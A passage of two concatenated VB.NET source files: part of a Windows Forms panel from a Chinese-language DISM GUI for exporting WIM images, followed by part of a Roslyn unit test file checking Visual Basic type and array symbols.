DismConfig.GetItem("ExportWimFile", "") TargetWimFile.Text = DismConfig.GetItem("ExportTargetWimFile", "") TBTargetImageName.Text = DismConfig.GetItem("ExportTargetImageName", "") CBCompress.Text = DismConfig.GetItem("ExportCompress", "快速(Fast)") ChkPushToQueue.Checked = DismConfig.GetItem("ExportPushToQueue", False) ChkWIMBoot.Checked = DismConfig.GetItem("ExportWIMBoot", False) End Sub Protected Overrides Sub OnUpdateInfo(Flags As WimInfoDetail) If Flags And WimInfoDetail.WimInfo Then WimInfo.UpdateWimInfo(WimFile.Text.Trim()) End Sub Private Sub BtnExport_Click(sender As Object, e As EventArgs) Handles BtnExport.Click Dim srcFile As String = WimFile.Text.Trim() Dim srcIndex As String = WimInfo.Text.Trim() Dim destFile As String = TargetWimFile.Text.Trim() Dim destImageName As String = TBTargetImageName.Text.Trim() If ChkBootable.Checked And ChkWIMBoot.Checked Then MsgBox("/Bootable 和 /WIMBoot 参数不能同时启用。", MsgBoxStyle.Critical, Title) Return End If If Not IO.File.Exists(srcFile) Then MsgBox("源 .WIM/.SWM 文件不存在。", MsgBoxStyle.Critical, Title) WimFile.Select() Return End If If srcIndex = "" Then MsgBox("请选择一个映像。", MsgBoxStyle.Critical, Title) WimInfo.Select() Return End If If destFile = "" Then MsgBox("目标 .WIM 文件路径不能为空。", MsgBoxStyle.Critical, Title) TargetWimFile.Select() Return End If Dim Compress As String = "" Select Case CBCompress.SelectedIndex Case 0 Compress = "None" Case 1 Compress = "Fast" Case 2 Compress = "Max" Case 3 Compress = "Recovery" Case Else Compress = "None" End Select Dim Args As New DismControlEventArgs Args.Arguments = DismShell.CreateExportImageArguments(srcFile, srcIndex, destFile, destImageName, Compress, ChkBootable.Checked, ChkCheckIntegrity.Checked, ChkWIMBoot.Checked) Args.Mission = DismMissionFlags.ExportImage Args.Description = "导出映像" Args.PushToQueue = ChkPushToQueue.Checked DismConfig.SetItem("ExportWimFile", srcFile) DismConfig.SetItem("ExportTargetWimFile", destFile) DismConfig.SetItem("ExportTargetImageName", destImageName) DismConfig.SetItem("ExportCompress", CBCompress.Text) DismConfig.SetItem("ExportWIMBoot", ChkWIMBoot.Checked) DismConfig.Save() OnExecute(Args) End Sub Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Me.TT = New System.Windows.Forms.ToolTip(Me.components) Me.ChkWIMBoot = New System.Windows.Forms.CheckBox() Me.ChkBootable = New System.Windows.Forms.CheckBox() Me.ChkCheckIntegrity = New System.Windows.Forms.CheckBox() Me.CBCompress = New System.Windows.Forms.ComboBox() Me.Label7 = New System.Windows.Forms.Label() Me.TBTargetImageName = New System.Windows.Forms.TextBox() Me.Label2 = New System.Windows.Forms.Label() Me.Label6 = New System.Windows.Forms.Label() Me.ChkPushToQueue = New System.Windows.Forms.CheckBox() Me.BtnExport = New System.Windows.Forms.Button() Me.TBImageDescription = New System.Windows.Forms.TextBox() Me.TBImageName = New System.Windows.Forms.TextBox() Me.Label1 = New System.Windows.Forms.Label() Me.Label5 = New System.Windows.Forms.Label() Me.Label4 = New System.Windows.Forms.Label() Me.Label3 = New System.Windows.Forms.Label() Me.TargetWimFile = New DismGui.WimFileSelector() Me.WimInfo = New DismGui.WimInfoComboBox() Me.WimFile = New DismGui.WimFileSelector() Me.SuspendLayout() ' 'TT ' Me.TT.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info Me.TT.ToolTipTitle = "导出映像" ' 'ChkWIMBoot ' Me.ChkWIMBoot.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.ChkWIMBoot.AutoSize = True Me.ChkWIMBoot.Location = New System.Drawing.Point(309, 185) Me.ChkWIMBoot.Name = "ChkWIMBoot" Me.ChkWIMBoot.Size = New System.Drawing.Size(72, 16) Me.ChkWIMBoot.TabIndex = 84 Me.ChkWIMBoot.Text = "/WIMBoot" Me.TT.SetToolTip(Me.ChkWIMBoot, "能够使用 WIMBoot 配置应用的映像。") Me.ChkWIMBoot.UseVisualStyleBackColor = True ' 'ChkBootable ' Me.ChkBootable.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.ChkBootable.AutoSize = True Me.ChkBootable.Location = New System.Drawing.Point(387, 185) Me.ChkBootable.Name = "ChkBootable" Me.ChkBootable.Size = New System.Drawing.Size(78, 16) Me.ChkBootable.TabIndex = 5 Me.ChkBootable.Text = "/Bootable" Me.TT.SetToolTip(Me.ChkBootable, "将 Windows PE 卷映像标记为能够引导。") Me.ChkBootable.UseVisualStyleBackColor = True ' 'ChkCheckIntegrity ' Me.ChkCheckIntegrity.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.ChkCheckIntegrity.AutoSize = True Me.ChkCheckIntegrity.Location = New System.Drawing.Point(471, 185) Me.ChkCheckIntegrity.Name = "ChkCheckIntegrity" Me.ChkCheckIntegrity.Size = New System.Drawing.Size(114, 16) Me.ChkCheckIntegrity.TabIndex = 6 Me.ChkCheckIntegrity.Text = "/CheckIntegrity" Me.TT.SetToolTip(Me.ChkCheckIntegrity, "检测和跟踪 WIM 文件是否损坏。") Me.ChkCheckIntegrity.UseVisualStyleBackColor = True ' 'CBCompress ' Me.CBCompress.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.CBCompress.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList Me.CBCompress.FormattingEnabled = True Me.CBCompress.Items.AddRange(New Object() {"无(None)", "快速(Fast)", "最大压缩(Max)", "重置映像(Recovery)"}) Me.CBCompress.Location = New System.Drawing.Point(74, 183) Me.CBCompress.Name = "CBCompress" Me.CBCompress.Size = New System.Drawing.Size(180, 20) Me.CBCompress.TabIndex = 4 ' 'Label7 ' Me.Label7.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.Label7.Location = New System.Drawing.Point(13, 213) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(65, 12) Me.Label7.TabIndex = 83 Me.Label7.Text = "目标文件:" Me.Label7.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'TBTargetImageName ' Me.TBTargetImageName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TBTargetImageName.Location = New System.Drawing.Point(74, 237) Me.TBTargetImageName.Name = "TBTargetImageName" Me.TBTargetImageName.Size = New System.Drawing.Size(511, 21) Me.TBTargetImageName.TabIndex = 8 ' 'Label2 ' Me.Label2.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.Label2.Location = New System.Drawing.Point(13, 240) Me.Label2.Name = "Label2" Me.Label2.Size = New System.Drawing.Size(65, 12) Me.Label2.TabIndex = 81 Me.Label2.Text = "目标名称:" Me.Label2.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'Label6 ' Me.Label6.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.Label6.Location = New System.Drawing.Point(13, 184) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(65, 17) Me.Label6.TabIndex = 79 Me.Label6.Text = "压缩率:" Me.Label6.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'ChkPushToQueue ' Me.ChkPushToQueue.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left), System.Windows.Forms.AnchorStyles) Me.ChkPushToQueue.AutoSize = True Me.ChkPushToQueue.Location = New System.Drawing.Point(13, 270) Me.ChkPushToQueue.Name = "ChkPushToQueue" Me.ChkPushToQueue.Size = New System.Drawing.Size(108, 16) Me.ChkPushToQueue.TabIndex = 9 Me.ChkPushToQueue.Text = "添加到任务队列" Me.ChkPushToQueue.UseVisualStyleBackColor = True ' 'BtnExport ' Me.BtnExport.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.BtnExport.Location = New System.Drawing.Point(506, 264) Me.BtnExport.Name = "BtnExport" Me.BtnExport.Size = New System.Drawing.Size(80, 28) Me.BtnExport.TabIndex = 10 Me.BtnExport.Text = "导出" Me.BtnExport.UseVisualStyleBackColor = True ' 'TBImageDescription ' Me.TBImageDescription.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TBImageDescription.Location = New System.Drawing.Point(74, 88) Me.TBImageDescription.Multiline = True Me.TBImageDescription.Name = "TBImageDescription" Me.TBImageDescription.ReadOnly = True Me.TBImageDescription.Size = New System.Drawing.Size(511, 89) Me.TBImageDescription.TabIndex = 3 ' 'TBImageName ' Me.TBImageName.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TBImageName.Location = New System.Drawing.Point(74, 63) Me.TBImageName.Name = "TBImageName" Me.TBImageName.ReadOnly = True Me.TBImageName.Size = New System.Drawing.Size(511, 21) Me.TBImageName.TabIndex = 2 ' 'Label1 ' Me.Label1.Location = New System.Drawing.Point(13, 14) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(65, 12) Me.Label1.TabIndex = 11 Me.Label1.Text = "映像文件:" Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'Label5 ' Me.Label5.Location = New System.Drawing.Point(13, 93) Me.Label5.Name = "Label5" Me.Label5.Size = New System.Drawing.Size(65, 12) Me.Label5.TabIndex = 24 Me.Label5.Text = "映像描述:" Me.Label5.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'Label4 ' Me.Label4.Location = New System.Drawing.Point(13, 66) Me.Label4.Name = "Label4" Me.Label4.Size = New System.Drawing.Size(65, 12) Me.Label4.TabIndex = 22 Me.Label4.Text = "映像名称:" Me.Label4.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'Label3 ' Me.Label3.Location = New System.Drawing.Point(13, 40) Me.Label3.Name = "Label3" Me.Label3.Size = New System.Drawing.Size(65, 12) Me.Label3.TabIndex = 20 Me.Label3.Text = "映像索引:" Me.Label3.TextAlign = System.Drawing.ContentAlignment.MiddleRight ' 'TargetWimFile ' Me.TargetWimFile.Anchor = CType(((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.TargetWimFile.FilterIndex = 1 Me.TargetWimFile.IsEsdFile = False Me.TargetWimFile.Location = New System.Drawing.Point(74, 207) Me.TargetWimFile.Name = "TargetWimFile" Me.TargetWimFile.ShowAsSaveFileDialog = True Me.TargetWimFile.Size = New System.Drawing.Size(512, 24) Me.TargetWimFile.TabIndex = 7 Me.TargetWimFile.WimInfoControl = Nothing ' 'WimInfo ' Me.WimInfo.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.WimInfo.DropDownWidth = 520 Me.WimInfo.ImageDescriptionControl = Me.TBImageDescription Me.WimInfo.ImageNameControl = Me.TBImageName Me.WimInfo.ItemHeightOffset = 6 Me.WimInfo.Location = New System.Drawing.Point(74, 35) Me.WimInfo.Margin = New System.Windows.Forms.Padding(0) Me.WimInfo.MaxDropDownItems = 4 Me.WimInfo.Name = "WimInfo" Me.WimInfo.Size = New System.Drawing.Size(511, 24) Me.WimInfo.TabIndex = 1 Me.WimInfo.ToolTipTitle = "导出映像" Me.WimInfo.WimFile = "" ' 'WimFile ' Me.WimFile.Anchor = CType(((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.WimFile.FilterIndex = 1 Me.WimFile.IsEsdFile = False Me.WimFile.Location = New System.Drawing.Point(74, 8) Me.WimFile.Name = "WimFile" Me.WimFile.ShowAsSaveFileDialog = False Me.WimFile.Size = New System.Drawing.Size(512, 24) Me.WimFile.TabIndex = 0 Me.WimFile.WimInfoControl = Me.WimInfo ' 'PanelImageExport ' Me.Controls.Add(Me.ChkWIMBoot) Me.Controls.Add(Me.CBCompress) Me.Controls.Add(Me.TargetWimFile) Me.Controls.Add(Me.Label7) Me.Controls.Add(Me.TBTargetImageName) Me.Controls.Add(Me.Label2) Me.Controls.Add(Me.Label6) Me.Controls.Add(Me.ChkBootable) Me.Controls.Add(Me.ChkCheckIntegrity) Me.Controls.Add(Me.ChkPushToQueue) Me.Controls.Add(Me.BtnExport) Me.Controls.Add(Me.TBImageDescription) Me.Controls.Add(Me.TBImageName) Me.Controls.Add(Me.WimInfo) Me.Controls.Add(Me.WimFile) Me.Controls.Add(Me.Label1) Me.Controls.Add(Me.Label5) Me.Controls.Add(Me.Label4) Me.Controls.Add(Me.Label3) Me.Name = "PanelImageExport" Me.Size = New System.Drawing.Size(600, 300) Me.ResumeLayout(False) Me.PerformLayout() End Sub Private Sub ChkPushToQueue_CheckedChanged(sender As Object, e As EventArgs) Handles ChkPushToQueue.CheckedChanged DismConfig.SetItem("ExportPushToQueue", ChkPushToQueue.Checked) DismConfig.Save() End Sub End Class
' Copyright (c) Microsoft Open Technologies, Inc. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. Imports System.Collections.Immutable Imports Microsoft.CodeAnalysis.Test.Utilities Imports Microsoft.CodeAnalysis.Text Imports Microsoft.CodeAnalysis.VisualBasic.Symbols Imports Roslyn.Test.Utilities Namespace Microsoft.CodeAnalysis.VisualBasic.UnitTests Public Class TypeTests Inherits BasicTestBase <Fact> Public Sub AlphaRenaming() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Public Class A(Of T) Public Class B(Of U) Public X As A(Of A(Of U)) End Class End Class Public Class A1 Inherits A(Of Integer) End Class Public Class A2 Inherits A(Of Integer) End Class </file> </compilation>) Dim aint1 = compilation.GlobalNamespace.GetTypeMembers("A1")(0).BaseType ' A<int> Dim aint2 = compilation.GlobalNamespace.GetTypeMembers("A2")(0).BaseType ' A<int> Dim b1 = aint1.GetTypeMembers("B", 1).Single() ' A<int>.B<U> Dim b2 = aint2.GetTypeMembers("B", 1).Single() ' A<int>.B<U> Assert.NotSame(b1.TypeParameters(0), b2.TypeParameters(0)) ' they've been alpha renamed independently Assert.Equal(b1.TypeParameters(0), b2.TypeParameters(0)) ' but happen to be the same type Dim xtype1 = DirectCast(b1.GetMembers("X")(0), FieldSymbol).Type ' Types using them are the same too Dim xtype2 = DirectCast(b2.GetMembers("X")(0), FieldSymbol).Type Assert.Equal(xtype1, xtype2) End Sub <Fact> Public Sub SourceTypeSymbols1() Dim compilation = CompilationUtils.CreateCompilationWithMscorlibAndVBRuntime( <compilation name="C"> <file name="a.vb"> Friend Interface A End Interface Namespace n Partial Public MustInherit Class B End Class Structure I End Structure End Namespace </file> <file name="b.vb"> Namespace N Partial Public Class b End Class Friend Enum E A End Enum Friend Delegate Function B(Of T)() As String Module M End Module End Namespace </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Assert.Equal("", globalNS.Name) Assert.Equal(SymbolKind.Namespace, globalNS.Kind) Assert.Equal(2, globalNS.GetMembers().Length()) Dim membersNamedA = globalNS.GetMembers("a") Assert.Equal(1, membersNamedA.Length) Dim membersNamedN = globalNS.GetMembers("n") Assert.Equal(1, membersNamedN.Length) Dim ifaceA = DirectCast(membersNamedA(0), NamedTypeSymbol) Assert.Equal(globalNS, ifaceA.ContainingSymbol) Assert.Equal("A", ifaceA.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, ifaceA.Kind) Assert.Equal(TypeKind.Interface, ifaceA.TypeKind) Assert.Equal(Accessibility.Friend, ifaceA.DeclaredAccessibility) Assert.False(ifaceA.IsNotInheritable) Assert.True(ifaceA.IsMustInherit) Assert.True(ifaceA.IsReferenceType) Assert.False(ifaceA.IsValueType) Assert.Equal(0, ifaceA.Arity) Assert.Null(ifaceA.BaseType) Dim nsN = DirectCast(membersNamedN(0), NamespaceSymbol) Dim membersOfN = nsN.GetMembers().AsEnumerable().OrderBy(Function(s) s.Name).ThenBy(Function(s) DirectCast(s, NamedTypeSymbol).Arity).ToArray() Assert.Equal(5, membersOfN.Length) Dim classB = DirectCast(membersOfN(0), NamedTypeSymbol) Assert.Equal(nsN.GetTypeMembers("B", 0).First(), classB) Assert.Equal(nsN, classB.ContainingSymbol) Assert.Equal("B", classB.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, classB.Kind) Assert.Equal(TypeKind.Class, classB.TypeKind) Assert.Equal(Accessibility.Public, classB.DeclaredAccessibility) Assert.False(classB.IsNotInheritable) Assert.True(classB.IsMustInherit) Assert.True(classB.IsReferenceType) Assert.False(classB.IsValueType) Assert.Equal(0, classB.Arity) Assert.Equal(0, classB.TypeParameters.Length) Assert.Equal(2, classB.Locations.Length()) Assert.Equal(1, classB.InstanceConstructors.Length()) Assert.Equal("System.Object", classB.BaseType.ToTestDisplayString()) Dim delegateB = DirectCast(membersOfN(1), NamedTypeSymbol) Assert.Equal(nsN.GetTypeMembers("B", 1).First(), delegateB) Assert.Equal(nsN, delegateB.ContainingSymbol) Assert.Equal("B", delegateB.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, delegateB.Kind) Assert.Equal(TypeKind.Delegate, delegateB.TypeKind) Assert.Equal(Accessibility.Friend, delegateB.DeclaredAccessibility) Assert.True(delegateB.IsNotInheritable) Assert.False(delegateB.IsMustInherit) Assert.True(delegateB.IsReferenceType) Assert.False(delegateB.IsValueType) Assert.Equal(1, delegateB.Arity) Assert.Equal(1, delegateB.TypeParameters.Length) Assert.Equal(0, delegateB.TypeParameters(0).Ordinal) Assert.Same(delegateB, delegateB.TypeParameters(0).ContainingSymbol) Assert.Equal(1, delegateB.Locations.Length()) Assert.Equal("System.MulticastDelegate", delegateB.BaseType.ToTestDisplayString()) Assert.NotEqual(0, IdentifierComparison.GetHashCode("B")) Assert.NotEqual(0, IdentifierComparison.GetHashCode("A")) Assert.NotEqual(IdentifierComparison.GetHashCode("A"), IdentifierComparison.GetHashCode("B")) Dim enumE = DirectCast(membersOfN(2), NamedTypeSymbol) Assert.Equal(nsN.GetTypeMembers("E", 0).First(), enumE) Assert.Equal(nsN, enumE.ContainingSymbol) Assert.Equal("E", enumE.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, enumE.Kind) Assert.Equal(TypeKind.Enum, enumE.TypeKind) Assert.Equal(Accessibility.Friend, enumE.DeclaredAccessibility) Assert.True(enumE.IsNotInheritable) Assert.False(enumE.IsMustInherit) Assert.False(enumE.IsReferenceType) Assert.True(enumE.IsValueType) Assert.Equal(0, enumE.Arity) Assert.Equal(1, enumE.Locations.Length()) Assert.Equal("System.Enum", enumE.BaseType.ToTestDisplayString()) Dim structI = DirectCast(membersOfN(3), NamedTypeSymbol) Assert.Equal(nsN.GetTypeMembers("i", 0).First(), structI) Assert.Equal(nsN, structI.ContainingSymbol) Assert.Equal("I", structI.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, structI.Kind) Assert.Equal(TypeKind.Structure, structI.TypeKind) Assert.Equal(Accessibility.Friend, structI.DeclaredAccessibility) Assert.True(structI.IsNotInheritable) Assert.False(structI.IsMustInherit) Assert.False(structI.IsReferenceType) Assert.True(structI.IsValueType) Assert.Equal(0, structI.Arity) Assert.Equal(1, structI.Locations.Length()) Assert.Equal("System.ValueType", structI.BaseType.ToTestDisplayString()) Dim moduleM = DirectCast(membersOfN(4), NamedTypeSymbol) Assert.Equal(nsN.GetTypeMembers("m", 0).First(), moduleM) Assert.Equal(nsN, moduleM.ContainingSymbol) Assert.Equal("M", moduleM.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, moduleM.Kind) Assert.Equal(TypeKind.Module, moduleM.TypeKind) Assert.Equal(Accessibility.Friend, moduleM.DeclaredAccessibility) Assert.True(moduleM.IsNotInheritable) Assert.False(moduleM.IsMustInherit) Assert.True(moduleM.IsReferenceType) Assert.False(moduleM.IsValueType) Assert.Equal(0, moduleM.Arity) Assert.Equal(1, moduleM.Locations.Length()) Assert.Equal("System.Object", moduleM.BaseType.ToTestDisplayString()) CompilationUtils.AssertTheseDeclarationDiagnostics(compilation, <expected> BC40055: Casing of namespace name 'n' does not match casing of namespace name 'N' in 'b.vb'. Namespace n ~ </expected>) End Sub <Fact> Public Sub NestedSourceTypeSymbols() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="C"> <file name="a.vb"> Public Partial Class Outer(Of K) Private Partial Class I1 Protected Partial Structure I2(Of T, U) End Structure End Class Private Partial Class I1 Protected Partial Structure I2(Of W) End Structure End Class Enum I4 X End Enum End Class Public Partial Class Outer(Of K) Protected Friend Interface I3 End Interface End Class </file> <file name="b.vb"> Public Class outer(Of K) Private Partial Class i1 Protected Partial Structure i2(Of T, U) End Structure End Class End Class </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim globalNSmembers = globalNS.GetMembers() Assert.Equal(1, globalNSmembers.Length) Dim outerClass = DirectCast(globalNSmembers(0), NamedTypeSymbol) Assert.Equal(globalNS, outerClass.ContainingSymbol) Assert.Equal("Outer", outerClass.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, outerClass.Kind) Assert.Equal(TypeKind.Class, outerClass.TypeKind) Assert.Equal(Accessibility.Public, outerClass.DeclaredAccessibility) Assert.Equal(1, outerClass.Arity) Assert.Equal(1, outerClass.TypeParameters.Length) Dim outerTypeParam = outerClass.TypeParameters(0) Assert.Equal(0, outerTypeParam.Ordinal) Assert.Same(outerClass, outerTypeParam.ContainingSymbol) Dim membersOfOuter = outerClass.GetTypeMembers().AsEnumerable().OrderBy(Function(s) s.Name).ThenBy(Function(s) DirectCast(s, NamedTypeSymbol).Arity).ToArray() Assert.Equal(3, membersOfOuter.Length) Dim i1Class = membersOfOuter(0) Assert.Equal(1, outerClass.GetTypeMembers("i1").Length()) Assert.Same(i1Class, outerClass.GetTypeMembers("i1").First()) Assert.Equal("I1", i1Class.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, i1Class.Kind) Assert.Equal(TypeKind.Class, i1Class.TypeKind) Assert.Equal(Accessibility.Private, i1Class.DeclaredAccessibility) Assert.Equal(0, i1Class.Arity) Assert.Equal(3, i1Class.Locations.Length()) Dim i3Interface = membersOfOuter(1) Assert.Equal(1, outerClass.GetTypeMembers("i3").Length()) Assert.Same(i3Interface, outerClass.GetTypeMembers("i3").First()) Assert.Equal("I3", i3Interface.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, i3Interface.Kind) Assert.Equal(TypeKind.Interface, i3Interface.TypeKind) Assert.Equal(Accessibility.ProtectedOrFriend, i3Interface.DeclaredAccessibility) Assert.Equal(0, i3Interface.Arity) Assert.Equal(1, i3Interface.Locations.Length()) Dim i4Enum = membersOfOuter(2) Assert.Equal(1, outerClass.GetTypeMembers("i4").Length()) Assert.Same(i4Enum, outerClass.GetTypeMembers("i4").First()) Assert.Equal("I4", i4Enum.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, i4Enum.Kind) Assert.Equal(TypeKind.Enum, i4Enum.TypeKind) Assert.Equal(Accessibility.Public, i4Enum.DeclaredAccessibility) Assert.Equal(0, i4Enum.Arity) Assert.Equal(1, i4Enum.Locations.Length()) Dim membersOfI1 = i1Class.GetTypeMembers().AsEnumerable().OrderBy(Function(s) s.Name).ThenBy(Function(s) DirectCast(s, NamedTypeSymbol).Arity).ToArray() Assert.Equal(2, membersOfI1.Length) Assert.Equal(2, i1Class.GetTypeMembers("I2").Length()) Dim i2Arity1 = membersOfI1(0) Assert.Equal(1, i1Class.GetTypeMembers("i2", 1).Length()) Assert.Same(i2Arity1, i1Class.GetTypeMembers("i2", 1).First()) Assert.Equal("I2", i2Arity1.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, i2Arity1.Kind) Assert.Equal(TypeKind.Structure, i2Arity1.TypeKind) Assert.Equal(Accessibility.Protected, i2Arity1.DeclaredAccessibility) Assert.Equal(1, i2Arity1.Arity) Assert.Equal(1, i2Arity1.TypeParameters.Length) Dim i2Arity1TypeParam = i2Arity1.TypeParameters(0) Assert.Equal(0, i2Arity1TypeParam.Ordinal) Assert.Same(i2Arity1, i2Arity1TypeParam.ContainingSymbol) Assert.Equal(1, i2Arity1.Locations.Length()) Dim i2Arity2 = membersOfI1(1) Assert.Equal(1, i1Class.GetTypeMembers("i2", 2).Length()) Assert.Same(i2Arity2, i1Class.GetTypeMembers("i2", 2).First()) Assert.Equal("I2", i2Arity2.Name, IdentifierComparison.Comparer) Assert.Equal(SymbolKind.NamedType, i2Arity2.Kind) Assert.Equal(TypeKind.Structure, i2Arity2.TypeKind) Assert.Equal(Accessibility.Protected, i2Arity2.DeclaredAccessibility) Assert.Equal(2, i2Arity2.Arity) Assert.Equal(2, i2Arity2.TypeParameters.Length) Dim i2Arity2TypeParam0 = i2Arity2.TypeParameters(0) Assert.Equal(0, i2Arity2TypeParam0.Ordinal) Assert.Same(i2Arity2, i2Arity2TypeParam0.ContainingSymbol) Dim i2Arity2TypeParam1 = i2Arity2.TypeParameters(1) Assert.Equal(1, i2Arity2TypeParam1.Ordinal) Assert.Same(i2Arity2, i2Arity2TypeParam1.ContainingSymbol) Assert.Equal(2, i2Arity2.Locations.Length()) CompilationUtils.AssertNoDeclarationDiagnostics(compilation) End Sub <WorkItem(2200, "DevDiv_Projects/Roslyn")> <Fact> Public Sub ArrayTypes() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="ArrayTypes"> <file name="a.vb"> Public Class A Public Shared AryField()(,) as Object Friend fAry01(9) as String Dim fAry02(9) as String Function M(ByVal ary1() As Byte, ByRef ary2()() as Single, ParamArray ary3(,) As Long) As String() Return Nothing End Function End Class </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim classTest = DirectCast(globalNS.GetTypeMembers("A").Single(), NamedTypeSymbol) Dim members = classTest.GetMembers() Dim field1 = DirectCast(members(1), FieldSymbol) Assert.Equal(SymbolKind.ArrayType, field1.Type.Kind) Dim sym1 = field1.Type ' Object Assert.Equal(SymbolKind.ArrayType, sym1.Kind) Assert.Equal(Accessibility.NotApplicable, sym1.DeclaredAccessibility) Assert.False(sym1.IsShared) Assert.Null(sym1.ContainingAssembly) ' bug 2200 field1 = DirectCast(members(2), FieldSymbol) Assert.Equal(SymbolKind.ArrayType, field1.Type.Kind) field1 = DirectCast(members(3), FieldSymbol) Assert.Equal(SymbolKind.ArrayType, field1.Type.Kind) Dim mem1 = DirectCast(members(4), MethodSymbol) Assert.Equal(3, mem1.Parameters.Length()) Dim sym2 = mem1.Parameters(0) Assert.Equal("ary1", sym2.Name) Assert.Equal(SymbolKind.ArrayType, sym2.Type.Kind) Assert.Equal("Array", sym2.Type.BaseType.Name) Dim sym3 = mem1.Parameters(1) Assert.Equal("ary2", sym3.Name) Assert.True(sym3.IsByRef) Assert.Equal(SymbolKind.ArrayType, sym3.Type.Kind) Dim sym4 = mem1.Parameters(2) Assert.Equal("ary3", sym4.Name) Assert.Equal(SymbolKind.ArrayType, sym4.Type.Kind) Assert.Equal(0, sym4.Type.GetTypeMembers().Length()) Assert.Equal(0, sym4.Type.GetTypeMembers(String.Empty).Length()) Assert.Equal(0, sym4.Type.GetTypeMembers(String.Empty, 0).Length()) Dim sym5 = mem1.ReturnType Assert.Equal(SymbolKind.ArrayType, sym5.Kind) Assert.Equal(0, sym5.GetAttributes().Length()) End Sub <WorkItem(537281, "DevDiv")> <WorkItem(537300, "DevDiv")> <WorkItem(932303, "DevDiv/Personal")> <Fact> Public Sub ArrayTypeInterfaces() Dim compilation = CompilationUtils.CreateCompilationWithMscorlib( <compilation name="ArrayTypes"> <file name="a.vb"> Public Class A Public AryField() As Object Shared AryField2()() As Integer Private AryField3(,,) As Byte Public Sub New() End Sub End Class </file> </compilation>) Dim globalNS = compilation.SourceModule.GlobalNamespace Dim classTest = DirectCast(globalNS.GetTypeMembers("A").Single(), NamedTypeSymbol) Dim sym1 = DirectCast(classTest.GetMembers().First(), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym1.Kind) ' IList(Of T) Assert.Equal(1, sym1.Interfaces.Length) Dim itype1 = sym1.Interfaces(0) Assert.Equal("System.Collections.Generic.IList(Of System.Object)", itype1.ToTestDisplayString()) ' Jagged array's rank is 1 Dim sym2 = DirectCast(classTest.GetMembers("AryField2").First(), FieldSymbol).Type Assert.Equal(SymbolKind.ArrayType, sym2.Kind) Assert.Equal(1, sym2.Interfaces.Length) Dim itype2 = sym2.Interfaces(0) Assert.Equal("System.Collections.Generic.IList(Of System.Int32())", 